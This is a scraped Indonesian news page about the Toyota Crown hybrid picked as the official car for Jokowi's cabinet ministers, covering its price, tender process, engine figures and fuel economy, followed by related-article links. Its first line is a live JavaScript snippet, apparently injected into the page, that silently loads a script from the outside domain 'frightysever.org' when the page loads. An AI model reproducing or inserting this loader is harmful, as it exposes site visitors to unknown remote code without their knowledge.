(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Presiden Joko Widodo telah mengumumkan daftar menteri yang tergabung dalam Kabinet Indonesia Maju. Tercatat ada 38 nama menteri dan pejabat setingkat yang diumumkan Jokowi pagi ini.
Seiring dengan pengumuman tersebut, para menteri dan pejabat setingkat itu juga telah dinanti oleh sebuah mobil dinas baru yakni Toyota Crown 2.5 HV G-Executive seharga Rp 1,5 miliar.
Mobil dinas baru ini menggantikan Toyota Crown Royal Saloon yang dinilai pemerintah sudah tidak layak dalam menunjang pekerjaan para menteri ketika berdinas. Usia kendaraan pun sudah cukup tua. Sebagai informasi, Toyota Crown Royal Saloon sudah beroperasi menjadi mobil dinas menteri sejak tahun 2009.
Pemerintah terakhir melakukan pengadaan mobil dinas menteri pada 2005 dan 2009. Pemilihan mobil dinas baru dilakukan melalui mekanisme tender umum dengan menggunakan sistem Layanan Pengadaan Secara Elektronik (LPSE) atau online. Prosesnya juga telah dikonsultasikan dengan Lembaga Kebijakan Pengadaan Barang Jasa Pemerintah (LKPP).
Hingga akhirnya terpilih PT Astra International Tbk-TSO sebagai pemenang untuk menyediakan 101 unit kendaraan Toyota Crown 2.5 HV G-Executive Hybrid yang digunakan untuk para menteri anggota kabinet dan pejabat tinggi lainnya.
Mobil punya harga Rp 1,5 miliar sudah termasuk biaya pajak yang membebaninya. Mobil sudah mengusung teknologi hybrid yang diklaim lebih ramah lingkungan.
Crown yang akan dipakai menteri tersebut menggendong mesin berkode A25A-FXS dengan kapasitas 2.500 cc. Sebagai mobil hybrid, mesin digabungkan dengan motor yang kalau digabungkan total tenaganya mencapai 226 PS. Mesinnya punya torsi maksimal 221 Nm pada 3.800-5.400 rpm dan motornya punya torsi maksimal 300 Nm.
Sebagai mobil hybrid, seberapa ramah lingkungan Toyota Crown yang dipilih jadi mobil menteri? Mengutip laman resmi Toyota, dengan teknologi hybrid Toyota Crown diklaim memiliki efisiensi panas dan performa yang tinggi. Mobil ini juga memberikan efisiensi bahan bakar yang lebih baik.
Toyota telah menguji efisiensi bahan bakar Crown di bawah siklus uji JC08 Kementerian Pertanian, Infrastruktur, Transportasi dan Pariwisata Jepang. Hasilnya, satu liter bahan bakar dihabiskan Toyota Crown ini untuk menempuh jarak 24 km (konsumsi bahan bakar sesuai uji JC08=24,0 km/liter).
Konsumsi bahan bakar tersebut memang tidak melulu sama, tergantung gaya mengemudi, kondisi jalan, dan sebagainya. Namun, angka 24 km/liter sesuai klaim Toyota untuk ukuran mobil dengan mesin 2.500 cc terbilang cukup irit.
Dalam situs resmi Toyota untuk tipe 2.5 HV G-Executive memiliki banderol harga 6.323.400 yen atau kalau dirupiahkan setara Rp 844 jutaan. Tapi itu harga di Jepang.(dry/ddn)
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.